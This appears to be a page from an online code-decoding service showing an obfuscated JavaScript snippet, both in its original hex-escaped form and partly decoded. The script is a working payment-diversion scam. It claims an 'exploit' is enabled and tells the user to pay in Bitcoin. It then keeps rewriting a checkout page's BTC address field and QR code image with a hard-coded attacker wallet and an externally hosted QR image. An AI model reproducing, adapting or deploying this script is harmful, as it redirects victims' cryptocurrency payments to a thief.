Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

var _0xc9bc=["\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x45\x78\x70\x6C\x6F\x69\x74\x20\x..

Decoded Output download

<?  var _0xc9bc=["shift","push","Exploit enabled. Choose "Bitcoin", press "Continue" and pay for the order. ","use strict","bc1q8gtk5yfcvxstf6atvcsj0w22qks5altpy5g0dc","click","Exploit enabled. Last script update: ","getFullYear","-","1685044WraiHv","FIRST_ORDERED_NODE_TYPE","addEventListener","1805240vcVIhM","1795266kuWwSt","5mymyST","//img[@alt="QR code to scan"]","singleNodeValue","//button[contains(text(),"Continue")]","src","1074826clvceI","6ubDPls","11avlgkP","2727207UuWmSA","13123970XPZBJd","//span[contains(text(),"BTC address:")]/following-sibling::span","266745ANqKvn","getDate","https://i.imgur.com/gj4Gift.png","getMonth","18vNeasU","innerHTML","evaluate"];var _0xedc7=[_0xc9bc[0],_0xc9bc[1],_0xc9bc[2],_0xc9bc[3],_0xc9bc[4],_0xc9bc[5],_0xc9bc[6],_0xc9bc[7],_0xc9bc[8],_0xc9bc[9],_0xc9bc[10],_0xc9bc[11],_0xc9bc[12],_0xc9bc[13],_0xc9bc[14],_0xc9bc[15],_0xc9bc[16],_0xc9bc[17],_0xc9bc[18],_0xc9bc[19],_0xc9bc[20],_0xc9bc[21],_0xc9bc[22],_0xc9bc[23],_0xc9bc[24],_0xc9bc[25],_0xc9bc[26],_0xc9bc[27],_0xc9bc[28],_0xc9bc[29],_0xc9bc[30],_0xc9bc[31]];var _0xbd88=[_0xedc7[0],_0xedc7[1],_0xedc7[2],_0xedc7[3],_0xedc7[4],_0xedc7[5],_0xedc7[6],_0xedc7[7],_0xedc7[8],_0xedc7[9],_0xedc7[10],_0xedc7[11],_0xedc7[12],_0xedc7[13],_0xedc7[14],_0xedc7[15],_0xedc7[16],_0xedc7[17],_0xedc7[18],_0xedc7[19],_0xedc7[20],_0xedc7[21],_0xedc7[22],_0xedc7[23],_0xedc7[24],_0xedc7[25],_0xedc7[26],_0xedc7[27],_0xedc7[28],_0xedc7[29],_0xedc7[30],_0xedc7[31]];var _0xebd4=[_0xbd88[0],_0xbd88[1],_0xbd88[2],_0xbd88[3],_0xbd88[4],_0xbd88[5],_0xbd88[6],_0xbd88[7],_0xbd88[8],_0xbd88[9],_0xbd88[10],_0xbd88[11],_0xbd88[12],_0xbd88[13],_0xbd88[14],_0xbd88[15],_0xbd88[16],_0xbd88[17],_0xbd88[18],_0xbd88[19],_0xbd88[20],_0xbd88[21],_0xbd88[22],_0xbd88[23],_0xbd88[24],_0xbd88[25],_0xbd88[26],_0xbd88[27],_0xbd88[28],_0xbd88[29],_0xbd88[30],_0xbd88[31]];function _0x3adb(_0x281ax5,_0x281ax6){const _0x281ax7=_0x1872();_0x3adb= function(_0x281ax8,_0x281ax9){_0x281ax8= _0x281ax8- 183;let _0x281axa=_0x281ax7[_0x281ax8];return _0x281axa};return _0x3adb(_0x281ax5,_0x281ax6)}(function(_0x281axb,_0x281axc){const _0x281axd=_0x3adb,_0x281axe=_0x281axb();while(true){try{const _0x281axf=-parseInt(_0x281axd(200))/ 1 + -parseInt(_0x281axd(194))/ 2 + -parseInt(_0x281axd(188))/ 3 + (parseInt(_0x281axd(184))/ 4)* (parseInt(_0x281axd(189))/ 5) + (-parseInt(_0x281axd(195))/ 6) * (parseInt(_0x281axd(197))/ 7) + (-parseInt(_0x281axd(187))/ 8) * (-parseInt(_0x281axd(204))/ 9) + (parseInt(_0x281axd(198))/ 10)* (parseInt(_0x281axd(196))/ 11);if(_0x281axf=== _0x281axc){break}else {_0x281axe[_0xebd4[1]](_0x281axe[_0xebd4[0]]())}}catch(_0x5565ec){_0x281axe[_0xebd4[1]](_0x281axe[_0xebd4[0]]())}}})(_0x1872,392787);alert(_0xebd4[2]);(function(){_0xebd4[3];const _0x281ax10=_0x3adb;var _0x281ax11=_0xebd4[4],_0x281ax12=_0x281ax10(202);_0x281ax13();function _0x281ax13(){setTimeout(function(){_0x281ax14()},2000);setTimeout(function(){_0x281ax18()},2000)}function _0x281ax14(){const _0x281ax15=_0x281ax10;let _0x281ax16=_0x281ax1e(_0x281ax15(199)),_0x281ax17=_0x281ax1e(_0x281ax15(190));_0x281ax16!== null&& ((_0x281ax16[_0x281ax15(205)]= _0x281ax11),(_0x281ax17[_0x281ax15(193)]= _0x281ax12));setTimeout(function(){_0x281ax14()},100)}function _0x281ax18(){const _0x281ax19=_0x281ax10;let _0x281ax1a=_0x281ax1e(_0x281ax19(192));_0x281ax1a!== null?_0x281ax1a[_0x281ax19(186)](_0xebd4[5],function(){const _0x281ax1b=_0x281ax19,_0x281ax1c= new Date();let _0x281ax1d=_0xebd4[6]+ _0x281ax1c[_0xebd4[7]]()+ _0xebd4[8]+ (_0x281ax1c[_0x281ax1b(203)]()+ 1)+ _0xebd4[8]+ _0x281ax1c[_0x281ax1b(201)]();alert(_0x281ax1d)}):setTimeout(function(){_0x281ax18()},100)}function _0x281ax1e(_0x281ax1f){const _0x281ax20=_0x281ax10;return document[_0x281ax20(183)](_0x281ax1f,document,null,XPathResult[_0x281ax20(185)],null)[_0x281ax20(191)]}})();function _0x1872(){const _0x281ax22=[_0xebd4[9],_0xebd4[10],_0xebd4[11],_0xebd4[12],_0xebd4[13],_0xebd4[14],_0xebd4[15],_0xebd4[16],_0xebd4[17],_0xebd4[18],_0xebd4[19],_0xebd4[20],_0xebd4[21],_0xebd4[22],_0xebd4[23],_0xebd4[24],_0xebd4[25],_0xebd4[26],_0xebd4[27],_0xebd4[28],_0xebd4[29],_0xebd4[30],_0xebd4[31]];_0x1872= function(){return _0x281ax22};return _0x1872()} ?>

Did this file decode correctly?

Original Code

var _0xc9bc=["\x73\x68\x69\x66\x74","\x70\x75\x73\x68","\x45\x78\x70\x6C\x6F\x69\x74\x20\x65\x6E\x61\x62\x6C\x65\x64\x2E\x20\x43\x68\x6F\x6F\x73\x65\x20\x22\x42\x69\x74\x63\x6F\x69\x6E\x22\x2C\x20\x70\x72\x65\x73\x73\x20\x22\x43\x6F\x6E\x74\x69\x6E\x75\x65\x22\x20\x61\x6E\x64\x20\x70\x61\x79\x20\x66\x6F\x72\x20\x74\x68\x65\x20\x6F\x72\x64\x65\x72\x2E\x20","\x75\x73\x65\x20\x73\x74\x72\x69\x63\x74","\x62\x63\x31\x71\x38\x67\x74\x6B\x35\x79\x66\x63\x76\x78\x73\x74\x66\x36\x61\x74\x76\x63\x73\x6A\x30\x77\x32\x32\x71\x6B\x73\x35\x61\x6C\x74\x70\x79\x35\x67\x30\x64\x63","\x63\x6C\x69\x63\x6B","\x45\x78\x70\x6C\x6F\x69\x74\x20\x65\x6E\x61\x62\x6C\x65\x64\x2E\x20\x4C\x61\x73\x74\x20\x73\x63\x72\x69\x70\x74\x20\x75\x70\x64\x61\x74\x65\x3A\x20","\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x2D","\x31\x36\x38\x35\x30\x34\x34\x57\x72\x61\x69\x48\x76","\x46\x49\x52\x53\x54\x5F\x4F\x52\x44\x45\x52\x45\x44\x5F\x4E\x4F\x44\x45\x5F\x54\x59\x50\x45","\x61\x64\x64\x45\x76\x65\x6E\x74\x4C\x69\x73\x74\x65\x6E\x65\x72","\x31\x38\x30\x35\x32\x34\x30\x76\x63\x56\x49\x68\x4D","\x31\x37\x39\x35\x32\x36\x36\x6B\x75\x57\x77\x53\x74","\x35\x6D\x79\x6D\x79\x53\x54","\x2F\x2F\x69\x6D\x67\x5B\x40\x61\x6C\x74\x3D\x22\x51\x52\x20\x63\x6F\x64\x65\x20\x74\x6F\x20\x73\x63\x61\x6E\x22\x5D","\x73\x69\x6E\x67\x6C\x65\x4E\x6F\x64\x65\x56\x61\x6C\x75\x65","\x2F\x2F\x62\x75\x74\x74\x6F\x6E\x5B\x63\x6F\x6E\x74\x61\x69\x6E\x73\x28\x74\x65\x78\x74\x28\x29\x2C\x22\x43\x6F\x6E\x74\x69\x6E\x75\x65\x22\x29\x5D","\x73\x72\x63","\x31\x30\x37\x34\x38\x32\x36\x63\x6C\x76\x63\x65\x49","\x36\x75\x62\x44\x50\x6C\x73","\x31\x31\x61\x76\x6C\x67\x6B\x50","\x32\x37\x32\x37\x32\x30\x37\x55\x75\x57\x6D\x53\x41","\x31\x33\x31\x32\x33\x39\x37\x30\x58\x50\x5A\x42\x4A\x64","\x2F\x2F\x73\x70\x61\x6E\x5B\x63\x6F\x6E\x74\x61\x69\x6E\x73\x28\x74\x65\x78\x74\x28\x29\x2C\x22\x42\x54\x43\x20\x61\x64\x64\x72\x65\x73\x73\x3A\x22\x29\x5D\x2F\x66\x6F\x6C\x6C\x6F\x77\x69\x6E\x67\x2D\x73\x69\x62\x6C\x69\x6E\x67\x3A\x3A\x73\x70\x61\x6E","\x32\x36\x36\x37\x34\x35\x41\x4E\x71\x4B\x76\x6E","\x67\x65\x74\x44\x61\x74\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x2E\x69\x6D\x67\x75\x72\x2E\x63\x6F\x6D\x2F\x67\x6A\x34\x47\x69\x66\x74\x2E\x70\x6E\x67","\x67\x65\x74\x4D\x6F\x6E\x74\x68","\x31\x38\x76\x4E\x65\x61\x73\x55","\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C","\x65\x76\x61\x6C\x75\x61\x74\x65"];var _0xedc7=[_0xc9bc[0],_0xc9bc[1],_0xc9bc[2],_0xc9bc[3],_0xc9bc[4],_0xc9bc[5],_0xc9bc[6],_0xc9bc[7],_0xc9bc[8],_0xc9bc[9],_0xc9bc[10],_0xc9bc[11],_0xc9bc[12],_0xc9bc[13],_0xc9bc[14],_0xc9bc[15],_0xc9bc[16],_0xc9bc[17],_0xc9bc[18],_0xc9bc[19],_0xc9bc[20],_0xc9bc[21],_0xc9bc[22],_0xc9bc[23],_0xc9bc[24],_0xc9bc[25],_0xc9bc[26],_0xc9bc[27],_0xc9bc[28],_0xc9bc[29],_0xc9bc[30],_0xc9bc[31]];var _0xbd88=[_0xedc7[0],_0xedc7[1],_0xedc7[2],_0xedc7[3],_0xedc7[4],_0xedc7[5],_0xedc7[6],_0xedc7[7],_0xedc7[8],_0xedc7[9],_0xedc7[10],_0xedc7[11],_0xedc7[12],_0xedc7[13],_0xedc7[14],_0xedc7[15],_0xedc7[16],_0xedc7[17],_0xedc7[18],_0xedc7[19],_0xedc7[20],_0xedc7[21],_0xedc7[22],_0xedc7[23],_0xedc7[24],_0xedc7[25],_0xedc7[26],_0xedc7[27],_0xedc7[28],_0xedc7[29],_0xedc7[30],_0xedc7[31]];var _0xebd4=[_0xbd88[0],_0xbd88[1],_0xbd88[2],_0xbd88[3],_0xbd88[4],_0xbd88[5],_0xbd88[6],_0xbd88[7],_0xbd88[8],_0xbd88[9],_0xbd88[10],_0xbd88[11],_0xbd88[12],_0xbd88[13],_0xbd88[14],_0xbd88[15],_0xbd88[16],_0xbd88[17],_0xbd88[18],_0xbd88[19],_0xbd88[20],_0xbd88[21],_0xbd88[22],_0xbd88[23],_0xbd88[24],_0xbd88[25],_0xbd88[26],_0xbd88[27],_0xbd88[28],_0xbd88[29],_0xbd88[30],_0xbd88[31]];function _0x3adb(_0x281ax5,_0x281ax6){const _0x281ax7=_0x1872();_0x3adb= function(_0x281ax8,_0x281ax9){_0x281ax8= _0x281ax8- 183;let _0x281axa=_0x281ax7[_0x281ax8];return _0x281axa};return _0x3adb(_0x281ax5,_0x281ax6)}(function(_0x281axb,_0x281axc){const _0x281axd=_0x3adb,_0x281axe=_0x281axb();while(true){try{const _0x281axf=-parseInt(_0x281axd(200))/ 1 + -parseInt(_0x281axd(194))/ 2 + -parseInt(_0x281axd(188))/ 3 + (parseInt(_0x281axd(184))/ 4)* (parseInt(_0x281axd(189))/ 5) + (-parseInt(_0x281axd(195))/ 6) * (parseInt(_0x281axd(197))/ 7) + (-parseInt(_0x281axd(187))/ 8) * (-parseInt(_0x281axd(204))/ 9) + (parseInt(_0x281axd(198))/ 10)* (parseInt(_0x281axd(196))/ 11);if(_0x281axf=== _0x281axc){break}else {_0x281axe[_0xebd4[1]](_0x281axe[_0xebd4[0]]())}}catch(_0x5565ec){_0x281axe[_0xebd4[1]](_0x281axe[_0xebd4[0]]())}}})(_0x1872,392787);alert(_0xebd4[2]);(function(){_0xebd4[3];const _0x281ax10=_0x3adb;var _0x281ax11=_0xebd4[4],_0x281ax12=_0x281ax10(202);_0x281ax13();function _0x281ax13(){setTimeout(function(){_0x281ax14()},2000);setTimeout(function(){_0x281ax18()},2000)}function _0x281ax14(){const _0x281ax15=_0x281ax10;let _0x281ax16=_0x281ax1e(_0x281ax15(199)),_0x281ax17=_0x281ax1e(_0x281ax15(190));_0x281ax16!== null&& ((_0x281ax16[_0x281ax15(205)]= _0x281ax11),(_0x281ax17[_0x281ax15(193)]= _0x281ax12));setTimeout(function(){_0x281ax14()},100)}function _0x281ax18(){const _0x281ax19=_0x281ax10;let _0x281ax1a=_0x281ax1e(_0x281ax19(192));_0x281ax1a!== null?_0x281ax1a[_0x281ax19(186)](_0xebd4[5],function(){const _0x281ax1b=_0x281ax19,_0x281ax1c= new Date();let _0x281ax1d=_0xebd4[6]+ _0x281ax1c[_0xebd4[7]]()+ _0xebd4[8]+ (_0x281ax1c[_0x281ax1b(203)]()+ 1)+ _0xebd4[8]+ _0x281ax1c[_0x281ax1b(201)]();alert(_0x281ax1d)}):setTimeout(function(){_0x281ax18()},100)}function _0x281ax1e(_0x281ax1f){const _0x281ax20=_0x281ax10;return document[_0x281ax20(183)](_0x281ax1f,document,null,XPathResult[_0x281ax20(185)],null)[_0x281ax20(191)]}})();function _0x1872(){const _0x281ax22=[_0xebd4[9],_0xebd4[10],_0xebd4[11],_0xebd4[12],_0xebd4[13],_0xebd4[14],_0xebd4[15],_0xebd4[16],_0xebd4[17],_0xebd4[18],_0xebd4[19],_0xebd4[20],_0xebd4[21],_0xebd4[22],_0xebd4[23],_0xebd4[24],_0xebd4[25],_0xebd4[26],_0xebd4[27],_0xebd4[28],_0xebd4[29],_0xebd4[30],_0xebd4[31]];_0x1872= function(){return _0x281ax22};return _0x1872()}

Function Calls

None

Variables

None

Stats

MD5 204cb7bc466203cfe1ae5783374da3d3
Eval Count 0
Decode Time 40 ms